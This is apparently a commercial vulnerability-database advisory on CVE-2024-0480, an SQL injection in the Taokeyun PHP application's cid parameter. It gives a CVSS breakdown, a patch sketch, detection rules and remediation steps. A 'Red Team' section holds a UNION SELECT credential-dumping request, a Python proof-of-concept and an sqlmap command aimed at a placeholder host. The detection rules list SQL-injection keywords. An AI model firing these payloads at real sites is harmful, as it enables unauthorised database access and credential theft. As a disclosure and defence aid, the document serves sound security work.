CVE-2024-0480
Executive Summary
CVE-2024-0480 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the index function of the /application/index/controller/m/Drs.php file, where the cid parameter is improperly sanitized before being used in a database query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or further compromise of the underlying server. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation measures essential.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full database read access possible.
- Integrity Impact: Low (I:L) – Limited data modification possible.
- Availability Impact: Low (A:L) – Potential for denial of service via SQL injection.
Threat Level: Critical due to public exploit availability, no patch, and ease of exploitation.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the index method of Drs.php. The cid parameter is taken directly from the HTTP POST request and concatenated into a SQL query without proper sanitization or parameterized queries. This allows an attacker to inject arbitrary SQL commands.
Vulnerable Code Snippet (Conceptual):
// application/index/controller/m/Drs.php
public function index() {
$cid = $_POST['cid'];
$sql = "SELECT * FROM drs WHERE cid = $cid"; // Direct concatenation
$result = db_query($sql);
// ...
}
Attack Vector:
An attacker sends a POST request to the vulnerable endpoint with a malicious cid value. For example:
POST /index.php?m=Drs&a=index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cid=1 UNION SELECT username,password FROM users--
This would append the UNION query to the original SELECT, potentially returning sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (Taokeyun <= 1.0.5):
$cid = $_POST['cid'];
$sql = "SELECT * FROM drs WHERE cid = $cid";
$result = db_query($sql);
Patched Code (Hypothetical):
$cid = intval($_POST['cid']); // Cast to integer
$sql = "SELECT * FROM drs WHERE cid = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param("i", $cid);
$stmt->execute();
$result = $stmt->get_result();
The patched version uses parameterized queries (prepared statements) and input validation to prevent SQL injection.
Exploitation & Lab Setup
Red Team (Offensive)
Exploit Proof-of-Concept (Python):
import requests
target = "http://target.com/index.php?m=Drs&a=index"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
data = {"cid": payload}
response = requests.post(target, data=data)
print(response.text)
Manual Exploitation with SQLMap:
sqlmap -u "http://target.com/index.php?m=Drs&a=index" --data="cid=1" --batch --dbs
Lab Setup:
- Deploy a vulnerable Taokeyun instance (version 1.0.5) using Docker or a local PHP environment.
- Ensure the application is accessible via HTTP.
- Use the provided PoC or SQLMap to test the injection.
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for suspicious POST requests to
/index.php?m=Drs&a=indexwith unusualcidparameters (e.g., containing SQL keywords like UNION, SELECT, OR). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Implement input validation and parameterized queries in the application code.
Honeypot Strategy:
- Create a fake endpoint mimicking the vulnerable
Drs.phpto capture attacker payloads. - Log all POST data for analysis.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/index.php?m=Drs&a=indexwithcidparameter containing SQL keywords. - Outbound database connections from the web server to unexpected IPs (data exfiltration).
- POST requests to
- File IOCs:
- Modified
Drs.phpfile (if attacker uploads a webshell). - Suspicious files in the
/application/index/controller/m/directory.
- Modified
- Log IOCs:
- Database error logs showing SQL syntax errors.
- Web server access logs with
cid=1 UNION SELECTpatterns.
Detection Engineering
YARA Rule
rule CVE_2024_0480_SQLi {
meta:
description = "Detects SQL injection attempts targeting Taokeyun CVE-2024-0480"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0480"
strings:
$s1 = "cid=" ascii wide nocase
$s2 = "UNION" ascii wide nocase
$s3 = "SELECT" ascii wide nocase
$s4 = "OR" ascii wide nocase
$s5 = "1=1" ascii wide nocase
condition:
all of ($s*) and #s1 > 0
}
Sigma Rule
title: SQL Injection Attempt Against Taokeyun CVE-2024-0480
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the cid parameter in Taokeyun Drs.php
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'm=Drs&a=index'
cs-uri-post: 'cid=*'
keywords:
- 'UNION'
- 'SELECT'
- 'OR'
- '1=1'
- '--'
condition: selection and keywords
falsepositives:
- Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0480 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php?m=Drs&a=index"; http_uri; content:"cid="; http_client_body; pcre:"/(UNION|SELECT|OR|1=1|--)/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required: Block access to
/index.php?m=Drs&a=indexvia web server configuration. - Apply virtual patching using a WAF to block SQL injection patterns.
- Upgrade to a patched version if/when available. Monitor the vendor's website for updates.
Long-Term Fixes:
- Code Review: Implement parameterized queries (prepared statements) for all database interactions.
- Input Validation: Validate and sanitize all user inputs, especially numeric fields.
- Least Privilege: Ensure the database user used by the application has minimal permissions (e.g., read-only where possible).
Workaround:
- Modify the
Drs.phpfile to castcidto an integer:$cid = intval($_POST['cid']);
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.